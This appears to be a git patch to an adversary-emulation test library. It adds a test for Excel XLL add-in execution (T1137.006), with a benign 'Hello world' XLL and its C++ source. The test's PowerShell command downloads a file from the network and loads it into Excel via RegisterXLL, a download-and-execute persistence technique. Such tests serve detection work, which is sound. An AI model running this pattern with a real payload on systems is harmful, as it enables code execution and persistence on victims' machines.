From d0e8a59a287e72ee82783f20cd8c201f8e3fb409 Mon Sep 17 00:00:00 2001 From: Brandon Morgan Date: Fri, 6 Aug 2021 16:58:52 -0500 Subject: [PATCH] T1137 xll (#1592) * upload xll and source * T1137.006 yaml * Update T1137.006.yaml fix yaml error, swap out final url for xll * cleaning directories deleted the gitignore, added src and bin directories and moved the appropriate files there. modified the xll url to include the bin directory * remove extra comments Co-authored-by: Brandon Morgan Co-authored-by: Carrie Roberts --- atomics/T1137.006/T1137.006.yaml | 30 +++ atomics/T1137.006/bin/HelloWorldXll.xll | Bin 0 -> 10240 bytes atomics/T1137.006/src/COPYING | 12 ++ atomics/T1137.006/src/HelloWorldXll.sln | 28 +++ .../src/HelloWorldXll/HelloWorldXll.cpp | 21 ++ .../src/HelloWorldXll/HelloWorldXll.def | 2 + .../src/HelloWorldXll/HelloWorldXll.vcxproj | 190 ++++++++++++++++++ .../HelloWorldXll.vcxproj.filters | 44 ++++ .../T1137.006/src/HelloWorldXll/dllmain.cpp | 19 ++ .../T1137.006/src/HelloWorldXll/stdafx.cpp | 8 + atomics/T1137.006/src/HelloWorldXll/stdafx.h | 15 ++ .../T1137.006/src/HelloWorldXll/targetver.h | 8 + atomics/T1137.006/src/readme.md | 70 +++++++ 13 files changed, 447 insertions(+) create mode 100644 atomics/T1137.006/T1137.006.yaml create mode 100644 atomics/T1137.006/bin/HelloWorldXll.xll create mode 100644 atomics/T1137.006/src/COPYING create mode 100644 atomics/T1137.006/src/HelloWorldXll.sln create mode 100644 atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.cpp create mode 100644 atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.def create mode 100644 atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj create mode 100644 atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj.filters create mode 100644 atomics/T1137.006/src/HelloWorldXll/dllmain.cpp create mode 100644 atomics/T1137.006/src/HelloWorldXll/stdafx.cpp create mode 100644 atomics/T1137.006/src/HelloWorldXll/stdafx.h create mode 100644 atomics/T1137.006/src/HelloWorldXll/targetver.h create mode 100644 atomics/T1137.006/src/readme.md diff --git a/atomics/T1137.006/T1137.006.yaml b/atomics/T1137.006/T1137.006.yaml new file mode 100644 index 00000000..628ece51 --- /dev/null +++ b/atomics/T1137.006/T1137.006.yaml @@ -0,0 +1,30 @@ +attack_technique: T1137.006 +display_name: 'Office Application Startup: Add-ins' + +atomic_tests: +- name: Code Executed Via Excel Add-in File (Xll) + description: | + Downloads a XLL file and loads it using the excel add-ins library. + This causes excel to display the message "Hello World" + Source of XLL - https://github.com/edparcell/HelloWorldXll + + supported_platforms: + - windows + + input_arguments: + xll_url: + description: url of the file HelloWorldXll.xll + type: url + default: 'https://https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1137.006/bin/HelloWorldXll.xll?raw=true' + + local_file: + description: name of the xll file + type: path + default: '$env:tmp\HelloWorldXll.xll' + + executor: + name: powershell + elevation_required: true + command: | + powershell -c "iwr -URI '#{xll_url}' -o '#{local_file}'; IEX ((new-object -ComObject excel.application).RegisterXLL('$env:tmp\HelloWorldXll.xll'))" + diff --git a/atomics/T1137.006/bin/HelloWorldXll.xll b/atomics/T1137.006/bin/HelloWorldXll.xll new file mode 100644 index 0000000000000000000000000000000000000000..95d85d81d20c7286827b3ed391867e925dcb7d44 GIT binary patch literal 10240 zcmeHNe{@t;e!r8XoLi*pp#+p0;7|e**9-6 zVYLQ_tR~Mn#Zx^++uc=aPu+Igg`>v}xIIl6BngNMaZd%b3+=Yu7s7fXwgUd>>*xF4 zn~(tR_M9I7+4Y`t-}igJ-|zi?@BQBI{oXq_X?So4%VvyOQ8kURK0qoS{rlTLb_-)O zZrC@2y^(ihexJp6WPa1;P+W*f(M?jIT?hsuk*F+e6a^^}5ke86_P#Yjd$d(7D=3)e zGF9Jk^tGK^_Z&Q&sqx|F!+(Ny>50KZ9Xd=Ois^9wAxVdC>+~DmH~8N>_~hYE(6{ax zJiH$8K$hszHe@POW49SUwHT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t<~WJA8MF@2`X|wD#+mpUXh$c} z?gp(7G(DD?QQo988nmmGKlFRSI$up79ClZfwPHb#UH$$Ve>^4zLv5j;e{&$x8WttS z7J(j@Tm5opO!S8$ZBc)#7?-7Jr#~Eu%edvRcCkG!0$W?Ny7}Iw`i8ot%gPO%b67hp zM1zdo#?Ut;%c9iIzI_Szi)HeECynW!%G)0U2M+hGCuz1D~H;}$s+GrSIgm=KupHiYohq| zh`%(RB$_W8eKZkUm52o8P&85(k)=+?{*^duLz0{bgqtHUi&XtHTXV#4ersJvP>hlI zD&0AZeb=@|l)sXFUDjQqT$7L_c%o5?21TUgmuyXNc_dMpRlQ2578} zk{BlkHd^mbh*D>xD78hU_CO?vSzwk3gzK-=Uf;?VOrkbzmc&3Sh-{pwYdYhy*xm#O zdE=OXNEi!e*CPy!1zh7p0C99-Phmv0;>N_LO`?<;$vt(e@2&G?qVsC|_y0;e@{lmn z_6tqRyclP47v(EDCzc3PH4*)r^84cfI){FUN_VB*fX7ge1OEk}3-^O{HyW@SXZwes zdjQ`>6+k}+(Xu*R)LP+n)*Gf5;)zr=nhp38G>{lBAg)IU7i6>@Do&(^n9(wqW`}H+|o7G z4DL=KlwXC8zpyb59^G4?xJq)UTG`Pa7PjD*6;gF|$Tkt!yxfkgD&@+xhQ3}bO zW*Zbq{7wQ^#MVYBv<10)lNg_1PG;BX=P9P`6Ss(AAxz)ul0dvZvL*VcD3u6_kT*yN zQFTdMARHG + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {0A5476B7-2700-4B0C-A72C-3054B5064E96} + Win32Proj + HelloWorldXll + 8.1 + + + + DynamicLibrary + true + v140 + Unicode + + + DynamicLibrary + false + v140 + true + Unicode + + + DynamicLibrary + true + v140 + Unicode + + + DynamicLibrary + false + v140 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + .xll + + + false + + + false + .xll + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;HELLOWORLDXLL_EXPORTS;%(PreprocessorDefinitions) + true + + + Windows + true + HelloWorldXll.def + + + + + Use + Level3 + Disabled + _DEBUG;_WINDOWS;_USRDLL;HELLOWORLDXLL_EXPORTS;%(PreprocessorDefinitions) + true + C:\2010 Office System Developer Resources\Excel2010XLLSDK\INCLUDE;%(AdditionalIncludeDirectories) + + + Windows + true + C:\2010 Office System Developer Resources\Excel2010XLLSDK\LIB\x64\XLCALL32.LIB;%(AdditionalDependencies) + HelloWorldXll.def + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;HELLOWORLDXLL_EXPORTS;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + HelloWorldXll.def + + + + + Level3 + Use + MaxSpeed + true + true + NDEBUG;_WINDOWS;_USRDLL;HELLOWORLDXLL_EXPORTS;%(PreprocessorDefinitions) + true + C:\2010 Office System Developer Resources\Excel2010XLLSDK\INCLUDE;%(AdditionalIncludeDirectories) + + + Windows + true + true + true + C:\2010 Office System Developer Resources\Excel2010XLLSDK\LIB\x64\XLCALL32.LIB;%(AdditionalDependencies) + HelloWorldXll.def + + + + + + + + + + + + false + + + false + + + false + + + false + + + + + + Create + Create + Create + Create + + + + + + + + + \ No newline at end of file diff --git a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj.filters b/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj.filters new file mode 100644 index 00000000..26e577de --- /dev/null +++ b/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj.filters @@ -0,0 +1,44 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/atomics/T1137.006/src/HelloWorldXll/dllmain.cpp b/atomics/T1137.006/src/HelloWorldXll/dllmain.cpp new file mode 100644 index 00000000..69b58914 --- /dev/null +++ b/atomics/T1137.006/src/HelloWorldXll/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/atomics/T1137.006/src/HelloWorldXll/stdafx.cpp b/atomics/T1137.006/src/HelloWorldXll/stdafx.cpp new file mode 100644 index 00000000..5708c398 --- /dev/null +++ b/atomics/T1137.006/src/HelloWorldXll/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// HelloWorldXll.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/atomics/T1137.006/src/HelloWorldXll/stdafx.h b/atomics/T1137.006/src/HelloWorldXll/stdafx.h new file mode 100644 index 00000000..bf593989 --- /dev/null +++ b/atomics/T1137.006/src/HelloWorldXll/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include + +#include +#include "xlcall.h" diff --git a/atomics/T1137.006/src/HelloWorldXll/targetver.h b/atomics/T1137.006/src/HelloWorldXll/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/atomics/T1137.006/src/HelloWorldXll/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/atomics/T1137.006/src/readme.md b/atomics/T1137.006/src/readme.md new file mode 100644 index 00000000..9f82d7ee --- /dev/null +++ b/atomics/T1137.006/src/readme.md @@ -0,0 +1,70 @@ +# Hello World XLL + +This is a simple XLL, showing how to create an XLL from scratch. + +## Requirements + +* A 64-bit version of Excel +* [Microsoft Visual Studio 2015 Community Edition](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx) +* [The Excel 2010 SDX](https://www.microsoft.com/en-us/download/details.aspx?id=20199). Instructions assume this is installed at C:\2010 Office System Developer Resources\Excel2010XLLSDK + +## Reference + +For further details on creating XLLs, dealing with XLOPERs and correct memory handling, I recommend Steve Dalton's excellent [Financial Applications using Excel Add-in Development in C/C++](http://www.amazon.com/Financial-Applications-using-Excel-Development/dp/0470027975) + +## Build and Load Instructions + +Instructions assume the solution is at "C:\Users\Jameson\Documents\Visual Studio 2015\Projects\HelloWorldXll\HelloWorldXll.sln". Adjust the steps below according to the location your cloned this project on your system. + +- Load the solution in Visual Studio. +- Build the solution (Menu: Build... Build Solution) +- In Excel, open the Add-Ins dialog (this can be done quickly with Alt-T, I) +- Click "Browse..." +- Select the XLL at "C:\Users\Jameson\Documents\Visual Studio 2015\Projects\HelloWorldXll\x64\Debug\HelloWorldXll.xll". Click OK. +- If Excel asks "A file name '...' already exists in this location. Do you want to replace it?", click Yes. +- Click Ok. +- Excel should display a dialog that says "Hello world". This is from the XLL. Click OK to dismiss the dialog. + +## Creation instructions + +- Create a new solution (Mone: File... New... Project) +- In Templates... Other Languages... Visual C++ select Win32. Select Win32 Project. Set Name to "HelloWorldXll". Set Solution name to "HelloWorldXll". Ensure "Create directory for solution" is checked. Click OK. Note: These instructions assume the Location is set to "C:\Users\Jameson\Documents\Visual Studio 2015\Projects". Adjust the steps below according to the location you use. +- Click Next at the Overview page. +- Select Application type "DLL". Clear the checkboxes for Precompiled header and Security Development Lifecycle. Click Finish. +- In the Solution Explorer, right click the HelloWorldXll and select Properties. +- Select Configuration "All Configurations" and Platform "x64". +- In Configuration Properties...General, Set Target Extension to ".xll". +- In Configuration Properties...C/C++...General, select "Additional Include Directories", click the dropdown arrow on the right, select "Edit...". In the Additional Include Directories dialog, click the New Line icon (it looks like a folder with a red star, in the top-right corner of the window). This will create a new line in the top input box (the ungreyed one). Click the "..." button on the right of that line, which will open a Select Directory dialog. Navigate to "C:\2010 Office System Developer Resources\Excel2010XLLSDK\INCLUDE" and click "Select Folder". Click OK to set the Additional Include Directories. +- In Configuration Proporties...Linker..Input, edit the "Additional Dependencies" as with the previous step. In the top edit box (the ungreyed one), add the text "C:\2010 Office System Developer Resources\Excel2010XLLSDK\LIB\x64\XLCALL32.LIB". Click OK to set the Additional Dependencies. +- In stdafx.h, add the following lines at the end of the file: +```c +#include +#include "xlcall.h" +``` +- In HelloWorldXll.cpp add the following lines at the end of the file: +```c +short __stdcall xlAutoOpen() +{ + char *text= "Hello world"; + size_t text_len = strlen(text); + XLOPER message; + message.xltype = xltypeStr; + message.val.str = (char *)malloc(text_len + 2); + memcpy(message.val.str + 1, text, text_len + 1); + message.val.str[0] = (char)text_len; + XLOPER dialog_type; + dialog_type.xltype = xltypeInt; + dialog_type.val.w = 2; + Excel4(xlcAlert, NULL, 2, &message, &dialog_type); + return 1; +} +``` +- In the Solution Explorer, right click the HelloWorldXll and select Add..New Item. +- In the Add New Item dialog, in the tree on the left, select Visual C++... Code. Then select Module-Definition File (.def). Set Name to "HelloWorldXll.def". Click Add. +- Change the contents of HelloWorldXll.def to: +``` +EXPORTS + xlAutoOpen +``` + +The solution is now ready to build and load using the instructions above.